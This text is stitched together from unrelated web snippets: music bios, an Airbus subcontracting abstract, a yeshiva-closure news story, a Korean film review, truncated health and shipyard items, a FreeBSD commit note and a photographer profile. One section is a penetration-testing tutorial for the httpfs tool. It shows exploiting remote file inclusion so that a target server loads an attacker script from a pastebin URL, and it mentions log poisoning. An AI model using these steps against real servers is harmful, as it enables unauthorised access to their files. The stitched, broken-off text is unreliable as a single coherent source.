In addition to founding members David Nagler on vocals & synthesizer and Thom Soriano on guitar, the live version of Nova Social also features Dan Lipton (Sting, Burt Bacharach) on keyboard and synthesizer, Xavier (Scissor Sisters, The Rapture) on vocals, and a string trio comprised of Tom Chiu (Flux Quartet), Leyna Papach (JG Thirlwell's Manorexia, The Geraldine Fibbers) and Clara Kennedy (Justin Bond, Scott Matthew).
Singer David Nagler also plays guitar and piano in John Wesley Harding & The English UK, where his involvement in the "Cabinet of Wonders" variety shows have led to him sharing the stage with Rosanne Cash, A.C. Newman (of The New Pornographers), Andrew Bird, Tanya Donelly, Andrew VanWyngarden (of MGMT) and more. He served as musical director and co- producer on Chris Mills' acclaimed orchestral pop release The Wall to Wall Sessions (Ernest Jenning Record Co.), which led to his inclusion in The L Magazine's "Ultimate Brooklyn Supergroup." Additionally, he provided choral arrangements for Skull Orchard Revisited (Verse Chorus Press/Bloodshot Records) by Jon Langford of the Mekons, with members of the Burlington Welsh Male Chorus.
Thom Soriano records and remixes under the alias "The Kendal Mintcake." He has created remixes for a roster of artists including They Might Be Giants and Dan Bryk.
In 2006, Alabama-born songwriter-siblings Pascal and Lauren Balthrop moved to New York City to start a band and ended up founding a town. Balthrop, Alabama, population 11 or so, is their bustling folk rock township.
Musically, the band straddles the fine line between antebellum and antifolk, reconstructing indie pop with songs of love, dead people, and dead people in love. One fan described the town's genre as "barnyard epic indie rock." In 2007, they released their double-album debut, Your Big Plans and Our Little Town, on the nascent End Up label, followed by a series of EPs: the rebellious God Loves My Country and the companion records Subway Songs and Cowboy Songs.
Chris Mills & Friends
Chris Mills is a roving troubadour, wandering the countryside kicking ass and taking names. He is also a Leo and enjoys holding hands and going to the movies.

De la firme sous-traitante de premier rang à la firme pivot. Une mutation de l'organisation du système productif « Airbus »
This paper analyzes the transformations of industrial vertical relationships, and more particularly the current slide of the function of first tier suppliers towards the function of intermediation. The objective is to characterize this function of intermediation, basing on the strategic segmentation of the supply chain, made by the industrial actors within the productive organization of Airbus. The argumentation articulates into three parts. The first reconsiders the nature of the vertical subcontracting relations within the framework of complex productions. The second characterizes and defines Pivot-Firm. The third part brings out the organization of the vertical relations around Pivots Firm within the the productive organization of Airbus.

Jewish boys' school in Cottage Grove to close
Rabbi Moshe Weiss spent much of Monday and Tuesday packing boxes with his colleagues, emptying the old Baptist church that the Yeshiva High School of the Twin Cities has called home since it swung open its doors as the area's first school of its kind in 2006.
Instead of preparing for the arrival of around three-dozen Orthodox Jewish boys from across the country for the school's sixth academic year, school officials this week were preparing to shutter Yeshiva for the 2011-12 school year, unable to stave off a fate that has loomed over the financially unstable school over the past two years.
"It's not sustainable," Weiss, Yeshiva's director of development, said recently of the school's financial footing. "We did our best. We really did."
Unable to work out a long-term plan to purchase the school's building from the Minnesota Baptist Conference, and with tuition revenue falling due to the still-struggling economy, Yeshiva officials will suspend the school's academic programs for the coming school year.
Weiss said the school "would need an angel" to contribute in the neighborhood of $1 million to purchase the school's building on Indahl Avenue and set up a scholarship fund for students.
The move will leave roughly 40 teenaged Orthodox Jewish boys from around the country without a school -- a fact Weiss and the school's other three rabbis are working to fix by helping enroll students in other Yeshiva schools. And, it leaves the future of the Twin Cities' first Yeshiva in question.
Weiss said school officials will work to restructure the school and undertake a fundraising push with the aim of reopening somewhere in 2012.
"It's too important of a thing to just let go completely," he said. "That said, we've done some things these last five years, helped a lot of kids, and that can never be taken away."
For five years, the Yeshiva High School of the Twin Cities managed to keep its doors open, through the threat of losing its Cottage Grove building to ballooning payments and the theft of the school's Torah.
Weiss credited an outpouring of support from the community during a fundraiser in late 2009 and early 2010 with helping the school avoid eviction. More recently, Weiss was cited by the city for minor property ordinance violations, which he and the school have challenged.
With many of the school's students from impoverished backgrounds, Weiss said parents are continuing to find it difficult to pay the roughly $19,000 in tuition to cover academics, room and board and food. Only one student paid full tuition last school year, he said.
Despite the disappointment, Weiss said he is trying to focus on the positives of Yeshiva's half-decade of existence.
"It was a combination of people, and programs and place -- including the people of Cottage Grove and the city of Cottage Grove -- that made [the school] a special place," Weiss said. "And it will be hard to replace and -- God willing -- will be again."

"The Old Garden" is the latest offering from controversial Korean director Lim Sang Soo, whose last film "The President's Last Bang" ran into trouble with the censors for its satirical mix of fact and fiction in depicting events surrounding the 1979 assassination of former South Korean President Park Chung Hee. Based upon the bestselling novel by author Hwang Suk Yeong, Lim's new work is similarly politically charged, dealing with revolution and its aftermath in the early 1980s, though this time from a more human perspective.
The film begins in the late 1990s, with former political activist Hyun Woo (played by actor Ji Jin Hee, recently in "Bewitching Attraction") being released from jail after a 17-year stretch. He finds the world a very different place, with his fellow revolutionaries now middle-aged members of the middle class who are content to sit around and bicker with each other, and the struggles of the past all but forgotten. Upon learning that his love Yoon Hee (actress Yeon Jung Ah, best known as the stepmother in the classic "A Tale of Two Sisters") died some years ago, he decides to make a journey to their old countryside home where they first met while he was on the run from the authorities. In doing so, his memories of the past come flooding back and provide him with both sorrow and hope as he tries to find his place in the new Korea.
Director Lim again proves himself to be an expert storyteller, and the film features a seamless blending of the past and the present, with skilfully handled chronological switches which serve fittingly as contemplative reflections of the different narrative strands rather than to distract through any kind of pretentious trickery. Although the film is obviously infused with politics and social commentary, it is very much driven by its characters. And despite its controversial subject matter in dealing with events such as the notorious Kwangju Uprising of 1980, "The Old Garden" is far more a personal journey than a call to arms or an attempt to reopen old wounds.
Surprisingly intimate and insular, "The Old Garden" deals tenderly with the struggle not so much between revolutionaries and the ruling regime, as between the responsibilities and frustrations of political and personal life. It also focuses not on the extremes to which people can be driven by their beliefs, but on how their actions affect those around them. The themes dealt with, of anger, loneliness and the scars of the past are universal, and as such the film does not require any prior knowledge of modern Korean history. Indeed, this to an extent is partly the point of the film, as Lim plays frequently upon the way in which the past efforts of the activists have been forgotten, giving a sad impression of wasted lives and effort rather than misty-eyed nostalgia.
Such lofty intellectual aims aside, "The Old Garden" arguably succeeds mainly through a well-written set of characters which provide the film with a strong and genuinely affecting emotional core. Both Hyun Woo and Yoon Hee are complex figures who the viewer takes some time to get to know, with neither being obviously sympathetic or indeed easy to like when first introduced. As a result, the intense and unconventional relationship which builds between the two is wholly believable, and works well as an anchor for the turbulent narrative which unfolds. The supporting cast are equally effective, and the film benefits from the fact that Lim never whitewashes the activists or treats them as saintly martyrs.
The visuals are gorgeous throughout, with Lim paying great attention to small personal details to bring the story to convincing life and to evoke a strong sense of time and place. The countryside is depicted with a picturesque stillness which contrasts sharply with the confusion and violence of the bloody riot scenes, making them all the more brutal and shocking. This again works to underline the deep rooted conflict at the heart of the film and to highlight the physical as well as emotional suffering undergone by so many in the name of revolution.
"The Old Garden" certainly makes for powerful, thoughtful viewing, being the kind of social conscience cinema which Korea used to excel at in the 80s and early 90s. It is a film that engages themes of politics and social criticism without losing sight of the deeply personal stories of the people involved. Melancholy rather than melodramatic, the film is moving in a painfully honest fashion, and confirms Lim Sang Soo as one of the most talented and interesting directors working in the country today.

Management of Asthma Before Surgery
Management of Asthma Before Surgery
If you have moderate to severe asthma, you are at higher risk of having problems during and after surgery than people who do not have asthma. Careful asthma control in the weeks before surgery may help you reduce the risk of having complications. Some people with severe asthma may need a short treatment with corticosteroids by mouth to improve lung function before surgery and prevent complications.1
Complications that may occur during and after surgery include:

Backlash in England as Clyde shipyards survive BAE's cull
The decision to save two Clydeside shipyards at the expense of the historic naval dockyard in Portsmouth last night provoked an angry English backlash against the political influence of the Scottish independence debate.
Although BAE System's announcement of 1,775 jobs losses had been widely anticipated, its decision to saddle the Solent port with the bulk of the cuts caused consternation. The closure of the Portsmouth yard with the loss of 940 jobs ends a shipbuilding tradition stretching back at least 600 years to the construction of the Marie Rose.
While the Prime Minister's official spokesman deemed the decision "in the UK's national interest", Caroline Dinenage, Conservative MP for Gosport, said English workers had been sacrificed at the expense of their Scottish counterparts.

As every system administrator knows, mounting remote filesystem with protocols like sshfs or smbfs saves time and simplify interactions with remote machines. This leisure is usually not available when having limited remote access, like managing a web shell or during a web application penetration testing.
If you are familiar with those situations httpfs can help you mounting locally a remote filesystem, relying on a script, like a PHP file, installed on target webserver. This FUSE filesystem written by Andrea Cardaci and me is your next indispensable tool in your toolkit.
Basic usage
Just generate server side script, in this case PHP, upload it to target machine and mount remote location locally. Let's see single steps:
1. Download httpfs archive or clone source code using github.
2. Compile and install it as written in README file.
3. Generate PHP script:
$ httpfs generate php > httpfs.php
4. Upload generated script to an accessible location inside the document root of target web server. In next paragraphs we will see some penetration testing techniques to run http PHP code exploiting file inclusion vulnerabilities.
5. Mount remote location locally:
$ httpfs mount http://target.com/httpfs.php /tmp/httpfs/
*** If you don't have enough privileges to access to system root '/', append as last parameter a remote folder to mount as basedir:
$ httpfs mount http://target.com/httpfs.php /tmp/httpfs/ /home/john
6. Browse your pretty awesome new mountpoint
$ cd /tmp/mounted
$ ls
bin cdrom etc initrd.img lib lost+found mnt proc run selinux sys usr vmlinuz
boot dev home initrd.img.old lib64 media opt root sbin srv tmp var vmlinuz.old
Exploiting file inclusion
Remote file inclusion is a common vulnerability that force to execute malicious PHP code to a vulnerable PHP web application. A tipical exploitable PHP script contains:
Let's exploit RFI to execute httpfs server side PHP code to achieve remote filesystem mounting.
1. Verify RFI vulnerability opening a web accessible resource from vulnerable script
$ curl http://target.com/fi.php?page="http://www.google.com"
2. By default PHP option "allow_url_fopen" is off to disable HTTP and FTP URL opening: in those cases try LFI attack as described at bottom.
3. Generate httpfs server side script as written in paragraph before.
4. Upload generated PHP script in a HTTP reachable site, as http://pastebin.com or something faster.
5. Run httpfs using as URL the location to load httpfs generated script:
$ mkdir /tmp/mounted
$ mount http://target.com/fi.php?page="http://pastebin.com/raw.php?i=XFYwGCK0" /tmp/mounted
6. Browse remote filesystem through local mount point.
$ cd /tmp/mounted
$ ls
bin cdrom etc initrd.img lib lost+found mnt proc run selinux sys usr vmlinuz
boot dev home initrd.img.old lib64 media opt root sbin srv tmp var vmlinuz.old
7. When an application is prone to file inclusion vulnerability but it doesn't allow to open HTTP or FTP remote URLs, is anyway possible to inject our malicious code with techniques like /proc/self/environ or log poisoning.
httpfs will be included soon in Weevely as an automatic installation module, meanwhile enjoy this complete stand alone version.

Update CONFIGURE_ARGS for how we pass CONFIGURE_TARGET to configure script.
Specifically, newer autoconf (> 2.13) has different semantic of the

instead of CONFIGURE_TARGET directly. Otherwise, you will get a warning
and the old semantic may be removed in later autoconf releases.
To workaround this issue, many ports hack the CONFIGURE_TARGET variable
so that it contains the ``--build='' prefix.
To solve this issue, under the fact that some ports still have
configure script generated by the old autoconf, we use runtime detection
in the do-configure target so that the proper argument can be used.

IOIPhoto has not updated her status recently.
I am an amateur photographer interested more in developing art than business. My focus is on the human form. I am interested in the suggestive and implied more than the classic nude. My shots are intended to leave the viewer hoping to see just another inch of the model, that was obscured by angel or shadow. I have a strong artistic interest in sheer and semi-transparent materials and clothing which drive the basic desire of the viewer to imagine what cannot be clearly seen.
